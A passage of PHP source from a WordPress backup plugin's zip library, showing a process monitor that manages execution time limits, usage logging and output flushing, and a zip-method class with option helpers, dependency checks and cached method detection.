period or not * @return object This object instance * */ public function set_execution_max_period( $period = self::ZIP_DEFAULT_EXECUTION_MAX_PERIOD, $auto_set_threshold = true ) { // Get the originally configured value if we can. // Returned values may be false or an integer as a string. // If false we want to keep it as false and we'll use our // default; if 0 | -1 then we'll set as larger integer; // otherwise if it is a numeric value and +ve we'll use it // otherwise set to false. $configured_execution_time = @get_cfg_var( 'max_execution_time' ); $cfg_var_map = array( false => false, "-1" => (int)PHP_INT_MAX, "0" => (int)PHP_INT_MAX, "" => false, ); if ( array_key_exists( $configured_execution_time, $cfg_var_map ) ) { // "Special" value, map it $configured_execution_time = $cfg_var_map[ $configured_execution_time ]; } else { // "Ordinary" value but must be numeric and +ve if ( is_numeric( $configured_execution_time ) && ( 0 < (int)$configured_execution_time )) { $configured_execution_time = (int)$configured_execution_time; } else { $configured_execution_time = false; } } // Get the current value if we can. // Returned values may be false or an integer as a string. // If false we want to keep it as false and we'll use our // default; if 0 | -1 then we'll set as larger integer; // if "7200" we have to assume it's because we set that // so make it false; otherwsie if it is a numeric value // and +ve we'll use it; otherwise set false. $current_execution_time = @ini_get( 'max_execution_time' ); $ini_get_map = array( false => false, "-1" => (int)PHP_INT_MAX, "0" => (int)PHP_INT_MAX, "7200" => false, "" => false, ); if ( array_key_exists( $current_execution_time, $ini_get_map ) ) { // "Special" value, map it $current_execution_time = $ini_get_map[ $current_execution_time ]; } else { // "Ordinary" value but must be numeric and +ve if ( is_numeric( $current_execution_time ) && ( 0 < (int)$current_execution_time )) { $current_execution_time = (int)$current_execution_time; } else { $current_execution_time = false; } } if ( true === is_string( $period ) ) { switch ( $period ) { case 'auto': // Try for the currently set execution time if ( false === $current_execution_time ) { // Couldn't get a value so try for configured value if ( false === $configured_execution_time ) { // Couldn't get a configured value for some reason so use default $this->_execution_max_period = self::ZIP_DEFAULT_EXECUTION_MAX_PERIOD; } else { // Got a configured value so use it $this->_execution_max_period = (int) $configured_execution_time; } } else { // Got a non-zero current execution time so use it $this->_execution_max_period = (int) $current_execution_time; } // If set by auto then make sure we (re)set threshold as auto _unless_ // told not to... if ( true === $auto_set_threshold ) { $this->set_execution_threshold_period( 'auto' ); } break; default: // Unknown mode so use default value $this->_execution_max_period = self::ZIP_DEFAULT_EXECUTION_MAX_PERIOD; } } elseif ( is_numeric( $period ) && ( 0 < $period ) ) { $this->_execution_max_period = (int)$period; } else { $this->_execution_max_period = self::ZIP_DEFAULT_EXECUTION_MAX_PERIOD; } return $this; } // Methods for handling the monitoring action public function get_monitor_threshold_period() { return $this->_monitor_threshold_period; } public function set_monitor_threshold_period( $period = self::ZIP_DEFAULT_MONITOR_THRESHOLD_PERIOD ) { $this->_monitor_threshold_period = ( is_numeric( $period ) && ( 0 < $period ) ) ? $period : self::ZIP_DEFAULT_MONITOR_THRESHOLD_PERIOD ; return $this; } public function get_monitor_start_time() { return $this->_monitor_start_time; } public function set_monitor_start_time( $time = 0 ) { $this->_monitor_start_time = ( 0 === $time ) ? time() : $time ; return $this; } public function initialize_monitoring_usage( $reset = true ) { $usage_data = array(); // Must determine if we can monitor usage data if ( function_exists( 'getrusage' ) && is_callable( 'getrusage' ) ) { $this->_monitoring_usage = true; // We need to know the user time value at the start so we can monitor how // much actual user time we are using (which counts against max_execution_time) // We call this when object is created to maek sure the init is done but we can // make a later call closer to when we wnt to start monitoring it and that will // reset the start time. if ( ( 0 === $this->_start_user_time ) || ( true === $reset ) ) { $usage_data = getrusage(); $this->_start_user_time = $usage_data[ 'ru_utime.tv_sec' ]; } } } public function is_monitoring_usage() { return ( true === $this->_monitoring_usage ); } // Methods for handling the server tickling action public function get_tickle_threshold_period() { return $this->_tickle_threshold_period; } public function set_tickle_threshold_period( $period = self::ZIP_DEFAULT_TICKLE_THRESHOLD_PERIOD ) { $this->_tickle_threshold_period = ( is_numeric( $period ) && ( 0 < $period ) ) ? $period : self::ZIP_DEFAULT_TICKLE_THRESHOLD_PERIOD ; return $this; } public function get_tickle_start_time() { return $this->_tickle_start_time; } public function set_tickle_start_time( $time = 0 ) { $this->_tickle_start_time = ( 0 === $time ) ? time() : $time ; return $this; } public function set_server_tickling( $tickle = true ) { $this->_server_tickling = $tickle; return $this; } public function get_server_tickling() { return $this->_server_tickling; } public function is_server_tickling() { return ( true === $this->_server_tickling ); } public function get_server_tickler() { return $this->_server_tickler; } public function connection_status_tostring( $status ) { $status_name = ''; switch ( $status ) { case CONNECTION_NORMAL: $status_name = 'Normal'; break; case CONNECTION_ABORTED: $status_name = 'Aborted'; break; case CONNECTION_TIMEOUT: $status_name = 'Timeout'; break; default: $status_name = 'Unknown'; } return $status_name; } protected function monitor_usage() { $usage_data = array(); $current_monitor_period = 0; // Would expect to monitor except on Windows which doesn't support getrusage() if ( true === $this->is_monitoring_usage() ) { // Decide if we need to log usage data $current_monitor_period = ( time() - $this->get_monitor_start_time() ); if ( $this->get_monitor_threshold_period() < $current_monitor_period ) { // Get some usage data from the server (check that function available) and log it $usage_data = getrusage(); // Determine the total user space time since we initialized the monitoring (relative) $this->_elapsed_user_time = ( $usage_data[ 'ru_utime.tv_sec' ] - $this->_start_user_time ); $this->get_logger()->log( 'details', sprintf( __('Zip process reported: Usage data (raw/relative): ( %1$s, %2$s, %3$s, %4$s, %5$s )/( -, %6$s, -, -, - )','it-l10n-backupbuddy' ), $usage_data[ 'ru_stime.tv_sec' ], $usage_data[ 'ru_utime.tv_sec' ], $usage_data[ 'ru_majflt' ], $usage_data[ 'ru_nvcsw' ], $usage_data[ 'ru_nivcsw' ], $this->_elapsed_user_time ) ); // Reset the monitoring period start time $this->set_monitor_start_time( time() ); // We reported something so report the connection status as well $this->_report_connection_status = true; } } return $this; } protected function monitor_execution_time() { $current_execution_period = 0; // Decide if we have been running long enough to need to reset time limit $current_execution_period = ( time() - $this->get_execution_start_time() ); if ( $this->get_execution_threshold_period() < $current_execution_period ) { // Log how long we ran for and then reset the start time and max period $this->get_logger()->log( 'details', sprintf( __('Zip process reported: %1$s seconds elapsed - resetting timebase to %2$s seconds','it-l10n-backupbuddy' ), $current_execution_period, $this->get_execution_max_period() ) ); // Reset the execution period start time $this->set_execution_start_time( time() ); // Reset the execution time timer (if the server honours this) // Belt and braces in case some server disables set_time_limit() // for some reason, hope that init_set() works - if neither works // there isn't much we can do about it - user will just have to // use a step period that matches the configured max_execution_time. @set_time_limit( $this->get_execution_max_period() ); @ini_set( 'max_execution_time', $this->get_execution_max_period ); // We reported something so report the connection status as well $this->_report_connection_status = true; } return $this; } protected function tickle_server() { $current_tickle_period = 0; // Only bother with server tickling if it is selected if ( true === $this->is_server_tickling() ) { // Decide if we have been running long enough to need to tickle the server $current_tickle_period = ( time() - $this->get_tickle_start_time() ); if ( $this->get_tickle_threshold_period() < $current_tickle_period ) { // Log how long since we last tickled and indicate tickling $this->get_logger()->log( 'details', sprintf( __('Zip process reported: %1$s seconds elapsed - tickling server','it-l10n-backupbuddy' ), $current_tickle_period ) ); $this->set_tickle_start_time( time() ); // Output the tickler to give something to flush echo $this->get_server_tickler(); // Force flushing and end of buffering // Possibly should need to do this because nothing should have started buffering // should it? It's possible that PHP config could have enabled one level of buffering // so at least handle that with the method as exemplified in the PHP manual. Also do // a staright flush as that should cause a flush at least to the server which is // actually all we want in this particular case. while ( @ob_end_flush() ); flush(); // We reported something so report the connection status as well $this->_report_connection_status = true; } } return $this; } protected function report_connection_status() { if ( true === $this->_report_connection_status ) { // Log where we are at and connection status for information $this->get_logger()->log( 'details', sprintf( __('Zip process reported: Connection status: %1$s (%2$s)','it-l10n-backupbuddy' ), $this->connection_status_tostring( connection_status() ), connection_status() ) ); $this->_report_connection_status = false; } return $this; } // Log our setup parameters public function log_parameters() { $this->get_logger()->log( 'details', sprintf( __('Zip process reported: Execution max/threshold periods: %1$ss/%2$ss','it-l10n-backupbuddy' ), $this->get_execution_max_period(), $this->get_execution_threshold_period() ) ); $this->get_logger()->log( 'details', sprintf( __('Zip process reported: Monitor threshold period: %1$ss','it-l10n-backupbuddy' ), $this->get_monitor_threshold_period() ) ); $this->get_logger()->log( 'details', sprintf( __('Zip process reported: Tickle threshold period: %1$ss','it-l10n-backupbuddy' ), $this->get_tickle_threshold_period() ) ); return $this; } public function set_logger( $logger ) { $this->_logger = $logger; return $this; } public function get_logger() { if ( is_null( $this->_logger ) ) { $logger = new pluginbuddy_zipbuddy_null_object(); $this->set_logger( $logger ); } return $this->_logger; } } class pluginbuddy_zipbuddy { const ZIP_METHODS_TRANSIENT = 'pb_backupbuddy_avail_zip_methods'; const ZIP_METHODS_TRANSIENT_EXPERIMENTAL = 'pb_backupbuddy_avail_xzip_methods'; const ZIP_METHODS_TRANSIENT_LIFE = 43200; // 12 Hours - really shouldn't change unless server problem const NORM_DIRECTORY_SEPARATOR = '/'; const DIRECTORY_SEPARATORS = '/\\'; const STATE_NAME_BEGIN = 'begin'; const STATE_ID_BEGIN = 1; const STATE_NAME_IN_PROGRESS = 'in_progress'; const STATE_ID_IN_PROGRESS = 2; const STATE_NAME_END = 'end'; const STATE_ID_END = 3; const ZIP_DEFAULT_IGNORE_WARNINGS = false; const ZIP_DEFAULT_IGNORE_SYMLINKS = true; const ZIP_DEFAULT_COMPRESSION = true; const ZIP_DEFAULT_STEP_PERIOD = 30; const ZIP_DEFAULT_BURST_GAP = 2; const ZIP_DEFAULT_MIN_BURST_CONTENT = 10485760; // 10MB const ZIP_DEFAULT_MAX_BURST_CONTENT = 104857600; // 100MB const ZIP_DEFAULT_BURST_THRESHOLD_PERIOD = 30; /** * The plugin path for this plugin * * @var string */ public $_pluginPath = ''; /** * The path of the temporary directory that can be used for creating files and stuff * * @var string */ protected $_tempdir = ""; /** * The list of zip methods that are requested to be used * * @var array of string */ protected $_requested_zip_methods = array(); /** * Status message array used when calling other methods to get status information back * * @var array of string */ public $_status = array(); /** * The list of zip methods that are to be used or are available * Had to make this public for now because something accesses it directly - bad karma * * @var array of string */ public $_zip_methods = array(); /** * The details of the various zip methods that are available * Have to make this a separate array indexed by the method tag. Ideally would be combined * with the zip methods array but that would involve more general changes elsewhere so that * refactoring can be done later - main problem is the direct access to the zip methods * array that is made rather than through a function. * * @var array of array of array */ protected $_zip_methods_details = array(); /** * The list of zip methods that are supported, i.e., there is a supporting class defined * * @var array of string */ protected $_supported_zip_methods = array(); /** * Whether or not we can call a status calback * * @var bool */ protected $_have_status_callback = false; /** * Object->method array for status function * * @var array */ protected $_status_callback = array(); /** * The directory name that we are loaded from (not: not path) * * @var string */ protected $_whereami = ""; /** * Whether we are loaded as the experimental zipbuddy * * @var bool */ protected $_is_experimental = false; /** * The name of the zip methods transient will be dependent on if we are standard or experimental * * @var string */ protected $_zip_methods_transient = ""; /** * The Server API that is in use * * @var string */ protected $_sapi_name = ""; /** * Convenience boolean indicating if Warnings should be ignored when building archives * * @var ignore_warnings bool */ protected $_ignore_warnings = null; /** * Convenience boolean indicating if symlinks should be ignored/not-followed when building archives * * @var ignore_symlinks bool */ protected $_ignore_symlinks = null; /** * Convenience boolean indicating if compression shoul dbe used when building archives * * @var compression bool */ protected $_compression = null; /** * Convenience integer indicating the maximum period for any action during a step * * @var step_period int */ protected $_step_period = null; /** * Convenience integer indicating the gap to delay between burst * * @var burst_gap int */ protected $_burst_gap = null; /** * Convenience double indicating the minimum burst content size * * @var min_burst_content double */ protected $_min_burst_content = null; /** * Convenience double indicating the maximum burst content size * * @var max_burst_content double */ protected $_max_burst_content = null; /** * Convenience integer indicating the burst threshold period * * @var burst_threshold_period int */ protected $_burst_threshold_period = null; /** * The logger to use * * @var logger object */ protected $_logger = null; /** * The default logger to give to any children * * @var default_child_logger object */ protected $_default_child_logger = null; /** * The process monitor to use * * @var process_monitor object */ protected $_process_monitor = null; /** * * get_transient_names_static() * * Get the transient name(s) that may be in use * * @return array The transient name(s) * */ public static function get_transient_names_static() { return array( self::ZIP_METHODS_TRANSIENT, self::ZIP_METHODS_TRANSIENT_EXPERIMENTAL ); } /** * __construct() * * Default constructor. * * @param string $temp_dir The path of the temporary directory to use * @param array $zip_methods Optional: The set of zip methods requested to use * @return null * */ public function __construct( $temp_dir, $zip_methods = array() ) { // Zipbuddy creates it's own default logger but can be overridden // Note: if user wants to override they must "get" the current logger // and destroy it otherwise it gets orphaned. $this->set_logger( new pluginbuddy_zipbuddy_logger() ); // Use this for all our children unless they need a specific logger $this->_default_child_logger = new pluginbuddy_zipbuddy_logger(); // Zipbuddy creates it's own default process monitor but can be overridden // Note: if user wants to override they must "get" the current process // monitor and destroy it otherwise it gets orphaned. We'll give it our // logger $this->set_process_monitor( new pluginbuddy_zipbuddy_process_monitor( $this ) ); // Normalize the trailing directory separator on the path $temp_dir = rtrim( $temp_dir, self::DIRECTORY_SEPARATORS ) . self::NORM_DIRECTORY_SEPARATOR; // Normalize platform specific directory separators in path $this->_tempdir = str_replace( DIRECTORY_SEPARATOR, self::NORM_DIRECTORY_SEPARATOR, $temp_dir ); // Record where we are located (the directory name) $this->_whereami = basename( dirname( __FILE__ ) ); // Set a flag for easy conditional testing $this->_is_experimental = ( 0 === strcmp( $this->_whereami, 'zipbuddy' ) ) ? false : true ; // Use our experimental flag to determine which zip methods transient we should be using $this->_zip_methods_transient = ( $this->_is_experimental ) ? self::ZIP_METHODS_TRANSIENT_EXPERIMENTAL : self::ZIP_METHODS_TRANSIENT ; // Set the sapi name so we can use it later $this->set_sapi_name(); // Derive whether we are ignoring Warnings or not (can be overridden by method call) $this->set_ignore_warnings(); // Derive whether we are ignoring/not-following symlinks or not (can be overridden by method call) $this->set_ignore_symlinks(); // Derive whether compression should be used (can be overridden by method call) $this->set_compression(); // Derive what the step period should be for any action after which a new step must be initiated $this->set_step_period(); // Derive what the interburst gap should be for any burst related action $this->set_burst_gap(); // Derive what the min burst content size should be for any burst related action $this->set_min_burst_content(); // Derive what the max burst content size should be for any burst related action $this->set_max_burst_content(); // Make sure we load the core abstract class as this will always be needed require_once( pb_backupbuddy::plugin_path() . '/lib/' . $this->_whereami . '/zbzipcore.php' ); // If we loaded that ok then try the method specific classes // Could make this more generic based on config or somesuch if ( class_exists( 'pluginbuddy_zbzipcore' ) ) { // // // Only provide proc mode when experimental zip enabled // if ( true === $this->_is_experimental ) { // // include_once( pb_backupbuddy::plugin_path() . '/lib/' . $this->_whereami . '/zbzipproc.php' ); // // if ( class_exists( 'pluginbuddy_zbzipproc' ) ) { // // if ( $this->check_method_dependencies( 'pluginbuddy_zbzipproc' ) ) { // // $this->set_supported_zip_methods( pluginbuddy_zbzipproc::get_method_tag_static() ); // // } // // } // // } // include_once( pb_backupbuddy::plugin_path() . '/lib/' . $this->_whereami . '/zbzipexec.php' ); if ( class_exists( 'pluginbuddy_zbzipexec' ) ) { if ( $this->check_method_dependencies( 'pluginbuddy_zbzipexec' ) ) { $this->set_supported_zip_methods( pluginbuddy_zbzipexec::get_method_tag_static() ); } } include_once( pb_backupbuddy::plugin_path() . '/lib/' . $this->_whereami . '/zbzipziparchive.php' ); if ( class_exists( 'pluginbuddy_zbzipziparchive' ) ) { if ( $this->check_method_dependencies( 'pluginbuddy_zbzipziparchive' ) ) { $this->set_supported_zip_methods( pluginbuddy_zbzipziparchive::get_method_tag_static() ); } } include_once( pb_backupbuddy::plugin_path() . '/lib/' . $this->_whereami . '/zbzippclzip.php' ); if ( class_exists( 'pluginbuddy_zbzippclzip' ) ) { if ( $this->check_method_dependencies( 'pluginbuddy_zbzippclzip' ) ) { $this->set_supported_zip_methods( pluginbuddy_zbzippclzip::get_method_tag_static() ); } } } // Work out the list of zip methods from the requested and available along with their details $this->set_zip_methods( $zip_methods ); } /** * __destruct() * * Default destructor. * * @return null * */ public function __destruct( ) { // TODO: Perhaps we need to check if the logger is our original one // that we created and if so then we should destroy it as we own it, // otherwise someone else owns it and we shouldn't destroy it. Same // goes for process monitor. unset( $this->_default_child_logger ); } /** * set_sapi_name() * * Sets the sapi name to that given or retrieves from PHP * TODO: Extend to also set a sapi id constant based on the name? * * @param string $name A sapi name to set (default empty) * @return object This object */ public function set_sapi_name( $sapi_name = "" ) { if ( empty( $sapi_name ) ) { $sapi_name = php_sapi_name(); } $this->_sapi_name = $sapi_name; return $this; } /** * get_sapi_name() * * Returns the previously set sapi name * * @return string The stored sapi name */ public function get_sapi_name() { return $this->_sapi_name; } /** * derive_optional_bool() * * Utility function to derive the value of an optional boolean flag based on either * a specifc value being given or the related global option being set or a given * defautl value otherise. If the provided $value is null then this forces the use * of the global option if it is set or otherwise the default value given * * @param string $option The option name in the global options array * @param mixed $value Should be bool true|false but could be null * @param bool $default The default value to use if no other provided/available * @return bool Derived boolean value * */ protected function derive_optional_bool( $option, $value, $default, $empty_option_default = false ) { $result = false; if ( is_bool( $value )) { $result = $value; } elseif ( isset( pb_backupbuddy::$options[ $option ] ) ) { $result = ( ( pb_backupbuddy::$options[ $option ] == '1' ) || ( pb_backupbuddy::$options[ $option ] == true ) ) ? true : $empty_option_default ; } else { $result = $default; } return $result; } /** * derive_optional_int() * * Utility function to derive the value of an optional integer based on either * a specifc value being given or the related global option being set or a given * default value otherise. * If the provided $value is null then this forces the use of the global option if * it is set (adjusted by any factor given) or otherwise the default value given. * If the global option is set but is not numeric (generally left empty) then we * use the provided $empty_option_value (which is _not_ adjusted by the factor but * assumed to be valid as it is - for example if the option is given in MB but * the required value to use is in bytes then we would adjust by multiplying by * 1024*1024 but the empty option value is assumed to be provided in bytes and so * is not adjusted. * In the case of using the adjusted option value or the empty option value we also * apply any value may given so hat, for example, an option value of 0 can be * mapped to mean "infinite". * Note: integer type options may be stored as strings so that we can use an empty * string to signal we want the default value to be used - so we need to check the * option value as being numeric rather than integer as this will return true for * any string that is a numerical value as well as the option being an integer value * in any case but crucually will return false for an empry string as this does not * represent any numerical value and hence that triggers the use of the empty option * default value. * We coerce any numeric string into an integer for assignment. * * @param string $option The option name in the global options array * @param mixed $value Should be integer but could be null * @param int $default The deafult value to use if no other provided/available * @param array $option_value_map Any special treatment for option values * @param int $option_value_factor Adjustment factor if option given in units * @param int $empty_option_default Default value to use if option is set but empty * @return int Derived integer value * */ protected function derive_optional_int( $option, $value, $default, $option_value_map = array(), $option_value_factor = 1, $empty_option_default = PHP_INT_MAX ) { $result = PHP_INT_MAX; if ( is_int( $value )) { $result = $value; } elseif ( isset( pb_backupbuddy::$options[ $option ] ) ) { $result = ( is_numeric( pb_backupbuddy::$options[ $option ] ) ) ? (int)( pb_backupbuddy::$options[ $option ] * $option_value_factor ) : $empty_option_default ; $result = ( array_key_exists( $result, $option_value_map ) ) ? $option_value_map[ $result ] : $result ; } else { $result = $default; } return $result; } /** * derive_optional_double() * * Utility function to derive the value of an optional double based on either * a specifc value being given or the related global option being set or a given * defautl value otherise. If the provided $value is null then this forces the use * of the global option if it is set or otherwise the default value given. * Note: double type options may be stored as strings so that we can use an empty * string to signal we want the default value to be used - so we need to check the * option value as being numeric rather than double as this will return true for * any string that is a numerical value as well as the option being an double value * in any case but crucually will return false for an emprt string as this does not * represent any numerical value and hence that triggers the use of the default value. * We coerce any numeric string into an double for assignment. * * @param string $option The option name in the global options array * @param mixed $value Should be double but could be null * @param double $default The deafult value to use if no other provided/available * @param array $option_value_map Any special treatment for option values * @param int $option_value_factor Adjustment factor if option given in units * @param double $empty_option_default Default value to use if option is set but empty * @return double Derived double value * */ protected function derive_optional_double( $option, $value, $default, $option_value_map = array(), $option_value_factor = 1, $empty_option_default = null ) { // Example of a "large" value on either a 32 or 64 bit system - we cannot set this // as the $empty_option_value default value in the function sig so post-process to // set it if indicated. $large_value = ( 4 == PHP_INT_SIZE ) ? (double)( pow(2, 63) - 1 ) : (double)PHP_INT_MAX ; $empty_option_default = ( is_null( $empty_option_default ) ) ? $large_value : $empty_option_default ; // Need to convert $value to a double only if it is numeric $value = ( is_numeric( $value ) ) ? (double)$value : $value ; if ( is_double( $value )) { $result = $value; } elseif ( isset( pb_backupbuddy::$options[ $option ] ) ) { $result = ( is_numeric( pb_backupbuddy::$options[ $option ] ) ) ? (double)( pb_backupbuddy::$options[ $option ] * $option_value_factor ) : (double)$empty_option_default ; // Array keys can only be string/int - for now we'll assume that we only map // values that can be cast as int - we may have to consider a different approach // later. $result = ( array_key_exists( (int)$result, $option_value_map ) ) ? $option_value_map[ (int)$result ] : $result ; // Special treatment - if the value was mapped to null then we want the derived "large" value $result = ( is_null( $result ) ) ? $large_value : $result ; } else { $result = (double)$default; } return $result; } /** * set_ignore_warnings() * * @param mixed $ignore true|false for specific setting or null for choice * @return object This object */ public function set_ignore_warnings( $ignore = null ) { $this->_ignore_warnings = $this->derive_optional_bool( 'ignore_zip_warnings', $ignore, self::ZIP_DEFAULT_IGNORE_WARNINGS ); return $this; } /** * get_ignore_warnings() * * Returns the previously set ignore warnings flag * * @return mixed The stored ignore warnings flag true|false */ public function get_ignore_warnings() { return $this->_ignore_warnings; } /** * set_ignore_symlinks() * * @param mixed $ignore true|false for specific setting or null for choice * @return object This object */ public function set_ignore_symlinks( $ignore = null ) { $this->_ignore_symlinks = $this->derive_optional_bool( 'ignore_zip_symlinks', $ignore, self::ZIP_DEFAULT_IGNORE_SYMLINKS ); return $this; } /** * get_ignore_symlinks() * * Returns the previously set ignore symlinks flag * * @return mixed The stored ignore symlinks flag true|false */ public function get_ignore_symlinks() { return $this->_ignore_symlinks; } /** * set_compression() * * @param mixed $compression true|false for specific setting or null for choice * @return object This object */ public function set_compression( $compression = null ) { $this->_compression = $this->derive_optional_bool( 'compression', $compression, self::ZIP_DEFAULT_COMPRESSION ); return $this; } /** * get_compression() * * Returns the previously set compression flag * * @return mixed The stored compression flag true|false */ public function get_compression() { return $this->_compression; } /** * set_step_period() * * If the option is empty (blank) => default (30s) * If the option is 0 => infinite (PHP_MAX_INT) * * @param mixed $set_period integer for specific value or null for choice * @return object This object */ public function set_step_period( $step_period = null ) { $step_period_option_value_map = array( 0 => PHP_INT_MAX ); $this->_step_period = $this->derive_optional_int( 'zip_step_period', $step_period, self::ZIP_DEFAULT_STEP_PERIOD, $step_period_option_value_map, 1, self::ZIP_DEFAULT_STEP_PERIOD ); return $this; } /** * get_step_period() * * Returns the previously set step period * * @return int The stored step period int */ public function get_step_period() { return $this->_step_period; } /** * set_burst_gap() * * If the option is empty (blank) => default (2s) * * @param mixed $burst_gap integer for specific value or null for choice * @return object This object */ public function set_burst_gap( $burst_gap = null ) { $this->_burst_gap = $this->derive_optional_int( 'zip_burst_gap', $burst_gap, self::ZIP_DEFAULT_BURST_GAP, array(), 1, self::ZIP_DEFAULT_BURST_GAP ); return $this; } /** * get_burst_gap() * * Returns the previously set burst gap * * @return int The stored burst gap int */ public function get_burst_gap() { return $this->_burst_gap; } /** * set_min_burst_content() * * We want this to be a double so it can have a larger value that we would * ever need to be used to represent no minimum * * If the option is empty (blank) => default (10MB) * If the option is 0 => large value * * @param mixed $min_burst_content double for specific value or null for choice * @return object This object */ public function set_min_burst_content( $min_burst_content = null ) { // null is a special value that is further mapped to a "large" value for the // particular architecture $min_burst_content_option_value_map = array( 0 => null ); $this->_min_burst_content = $this->derive_optional_double( 'zip_min_burst_content', $min_burst_content, self::ZIP_DEFAULT_MIN_BURST_CONTENT, $min_burst_content_option_value_map, (1024*1024), self::ZIP_DEFAULT_MIN_BURST_CONTENT ); return $this; } /** * get_min_burst_content() * * Returns the previously set min burst content size * * @return double The stored min burst content size */ public function get_min_burst_content() { return $this->_min_burst_content; } /** * set_max_burst_content() * * We want this to be a double so it can have a larger value that we would * ever need to be used to represent no minimum * * If the option is empty (blank) => default (10MB) * If the option is 0 => large value * * @param mixed $max_burst_content double for specific value or null for choice * @return object This object */ public function set_max_burst_content( $max_burst_content = null ) { // null is a special value that is further mapped to a "large" value for the // particular architecture $max_burst_content_option_value_map = array( 0 => null ); $this->_max_burst_content = $this->derive_optional_double( 'zip_max_burst_content', $max_burst_content, self::ZIP_DEFAULT_MAX_BURST_CONTENT, $max_burst_content_option_value_map, (1024*1024), self::ZIP_DEFAULT_MAX_BURST_CONTENT ); return $this; } /** * get_max_burst_content() * * Returns the previously set max burst content size * * @return double The stored max burst content size */ public function get_max_burst_content() { return $this->_max_burst_content; } /** * set_supported_zip_methods() * * Appends or prepends the method or methods passed to the existing supported methods array * * @param string/array $methods Either a (comma separated) string of methods or an array * @param bool $append True if $methods should be appended to existing supported methods * @return bool True if set succeeded, otherwise false */ protected function set_supported_zip_methods( $methods, $append = true ) { $result = false; // If $methods is a string we need to turn it into an array (of one or more elements) or // otherwise assume it is an array already (but we double check in a mo) ( is_string( $methods ) ) ? $methods_to_add = explode( ",", $methods ) : $methods_to_add = $methods; // Make sure we have an array and if so then either append or prepend to existing supported methods if ( is_array( $methods_to_add ) ) { ( $append ) ? $this->_supported_zip_methods = array_merge( $this->_supported_zip_methods, $methods_to_add ) : $this->_supported_zip_methods = array_merge( $methods_to_add, $this->_supported_zip_methods ); $result = true; } // Will return false if we somehow didn't end up with an array to merge return $result; } /** * check_method_dependencies() * * Checks the dependencies that a method defines for itself - this may optionally also mean * calling a given callback function that allows the method to add it's own very specific checks * beyond those that are run as standard. * * @param string $class_name The name of the class to check, needed because this is static checking * @return bool True if dependency check succeeded, otherwise false */ protected function check_method_dependencies( $class_name ) { // Assume dependency checks will pass - will be set false if a check fails $result = true; if ( !method_exists( $class_name, 'get_method_dependencies_static' ) ) { $result = false; } else { $method_dependencies = call_user_func( array( $class_name, 'get_method_dependencies_static' ) ); } if ( ( $result ) && isset( $method_dependencies[ 'classes' ] ) && !empty( $method_dependencies[ 'classes' ] ) ) { $classes = $method_dependencies[ 'classes' ]; $disabled_classes = array_map( "trim", explode( ',', ini_get( 'disable_classes' ) ) ); // Check each function dependency and bail out on first failure foreach ( $classes as $class ) { $class = trim( $class ); if ( !( ( class_exists( $class ) ) && ( !in_array( $class, $disabled_classes ) ) ) ) { $result = false; break; } } } if ( ( $result ) && isset( $method_dependencies[ 'functions' ] ) && !empty( $method_dependencies[ 'functions' ] ) ) { $functions = $method_dependencies[ 'functions' ]; $disabled_functions = array_map( "trim", explode( ',', ini_get( 'disable_functions' ) ) ); // Check each function dependency and bail out on first failure foreach ( $functions as $function ) { $function = trim( $function ); if ( !( ( function_exists( $function ) ) && ( !in_array( $function, $disabled_functions ) ) ) ) { $result = false; break; } } } // No extension checks yet // No file checks yet (need to determine how this might work a bit better) if ( ( $result ) && isset( $method_dependencies[ 'check_func' ] ) && !empty( $method_dependencies[ 'check_func' ] ) ) { $result = call_user_func( array( $class_name, $method_dependencies[ 'check_func' ] ) ); } return $result; } /** * deduce_zip_methods() * * Returns the array of zip methods that are available (or just the best) filtered by requested methods. * Because the available methods don't really change often (rarely once stable) we use a transient * which has some defined lifetime so we don't waste time repeating the testing which involves creating * objects and processes and files which can be time consuming. * The using script can decide to have the transient refreshed by deleting it and then it will be regenerated. * Note: There is an included "signature" so that we can detect server or other moves and regenerate. * Note: filemtime() is used because this will (should) force the transient to update if the plugin is * updated because the file modification time of the file will change because the plugin is installed in a * different disk location with newly written files - the same should apply if the site is restored/migrated. * * @param array Array reference for the deduced zip methods * @param array Arry reference for the details of the deduced methods * @param array Flat array of requested (preferred) zip methods * @param bool True if only the best available method wanted * @param string Which zip mode being tested * @return bool True if methods are available, False otherwise * */ protected function deduce_zip_methods( array &$methods, array &$methods_details, array $requested, $best_only ) { $available_methods = array(); $available_methods_details = array(); $aggregate_available_methods = array(); $server_signature_string = ""; $server_signature = ""; $use_cached_methods = false; // Decide if we should try for cached methods or not (save for later) if ( ( $use_cached_methods = $this->use_cached_methods() ) ) { $aggregate_available_methods = get_transient( $this->_zip_methods_transient ); // Drop through if we didn't get a transient otherwise we'll test it for validity if ( false !== $aggregate_available_methods ) { // Generate server signature and check it matches the cached signature // Use current filename as component as it should be unique enough for this purpose $server_signature_string = __FILE__ . " : " . ( ( $filemodtime = filemtime( __FILE__ ) ) ? (string) $filemodtime : '1' ); $server_signature = md5( $server_signature_string ); if ( ( false === isset( $aggregate_available_methods[ 'control' ][ 'signature' ] ) ) || ( $server_signature !== $aggregate_available_methods[ 'control' ][ 'signature' ] ) ) { // Either no signature previously set or it has changed - either way we need to reevaluate available methods $aggregate_available_methods = false; } } } else { $this->log( 'details', 'Zip method caching disabled based on settings or unavailable.' ); $aggregate_available_methods = false; } // Create new transient if we didn't have one, it was expired or we nuked it because invalid if ( false === $aggregate_available_methods ) { // Get all available methods in $available_methods - must return them in order best -> worst // Also getting the method details array which is keyed by method tag $this->get_available_zip_methods( $this->_supported_zip_methods, $available_methods, $available_methods_details ); // Now we have to combine the two arrays into an aggregate to save $aggregate_available_methods[ 'methods' ] = $available_methods; $aggregate_available_methods[ 'details' ] = $available_methods_details; // Only save if we are using caching (determined earlier) if ( $use_cached_methods ) { // Add the server signature for detecting invalidated methods details on a migration or some other change // Note: See discussion above on derivation of signature // TODO: Check, probably can use the server signature calculated above $server_signature_string = __FILE__ . " : " . ( ( $filemodtime = filemtime( __FILE__ ) ) ? (string) $filemodtime : '1' ); $server_signature = md5( $server_signature_string ); $aggregate_available_methods[ 'control' ][ 'signature' ] = $server_signature; set_transient( $this->_zip_methods_transient, $aggregate_available_methods, self::ZIP_METHODS_TRANSIENT_LIFE ); } } else { // We got a valid transient value so now separate the aggregate into two $available_methods = $aggregate_available_methods[ 'methods' ]; $available_methods_details = $aggregate_available_methods[ 'details' ]; } // Check whether these need to be filtered by requested methods if ( !empty( $requested ) ) { // Filter the available methods - result could be empty // Order will be retained regardless of order of requested methods // Renumber numeric keys fom 0 $available_methods = array_values( array_intersect( $available_methods, $requested ) ); } // If just the best available requested then slice it off if ( ( true === $best_only ) && ( !empty( $available_methods ) ) ) { $methods = array_slice( $available_methods, 0, 1 ); $methods_details = $available_methods_details; } else 